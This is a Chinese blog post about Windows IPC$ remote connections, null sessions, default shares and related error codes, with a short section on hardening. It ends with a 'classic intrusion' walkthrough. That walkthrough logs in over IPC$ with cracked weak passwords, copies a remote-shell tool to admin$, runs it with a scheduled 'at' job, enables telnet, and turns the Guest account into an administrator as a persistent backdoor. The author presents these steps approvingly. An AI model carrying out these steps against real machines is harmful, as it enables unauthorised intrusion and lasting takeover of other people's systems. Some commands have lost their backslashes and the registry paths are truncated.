分类: WINDOWS
2010-05-11 14:30:33
什么是ipc$
解惑:
1)IPC连接是Windows
NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,但是UNIX
Linux把用户限制在$HOME下,root除外。由于IPC$功能需要用到Windows
NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,
不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些
信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份
登陆,嘿嘿,就不用我在多说了吧,what
u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害
吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着
人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法
连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得
这才是ipc$连接在hack入侵中的意义所在.
ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的
说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)
1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接
了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任
何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口
实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或
windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上OS;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 :
ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以
使用shell执行命令
net share ipc$
来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),
还是不行的话(比如有防火墙,杀不了)建议放弃。
如何防范ipc$入侵
1禁止空连接进行枚举(此*作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINESYSTEMCurrentCont
2禁止默认共享
1)察看本地共享资源
运行-> cmd -> net
share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentCont
pro版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentCont
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师
5设置复杂密码,防止通过ipc$穷举密码
相关命令
1)建立空连接:
net use \IPipc$ ""
/user:""
2)建立非空连接:
net use \IPipc$ "用户名"
/user:"密码"
3)映射默认共享:
net use z: \IPc$ "密码"
/user:"用户名"
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net
use z: \IPc$
4)删除一个ipc$连接
net use \IPipc$ /del
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del
删除全部,会有提示要求按y确认
6)
查看远程主机的共享资源
命令:net view
7) 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
nbtstat -A IP
用此命令可以得到一个远程主机的NetBIOS用户名列表(需要你的netbios支持)
经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是
哪位前辈)
11. C:>net use \127.0.0.1IPC$ "密码" /user:"用户名"
一般用流光,通过扫描弱口令来得到,管理员帐号和密码.
2. C:>copy srv.exe \127.0.0.1admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、d$,意
思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:>net time \127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午
11:00,命令成功完成。
4. C:>at \127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧
5. C:>net time \127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午
11:05,那就准备开始下面的命令。
6. C:>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的
Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:>copy ntlm.exe \127.0.0.1admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:WINNTsystem32>ntlm
输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出
现"DONE"的时候,就说明已经启动正常。然后使用"net
start telnet"来开启Telnet服务!
9. Telnet
127.0.0.1,接着输入用户名与密码就进入对方了,*作就像在DOS上*作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
10. C:>net user guest /active:yes
将对方的Guest用户激活
11. C:>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码
12. C:>net localgroup administrators guest /add
将Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)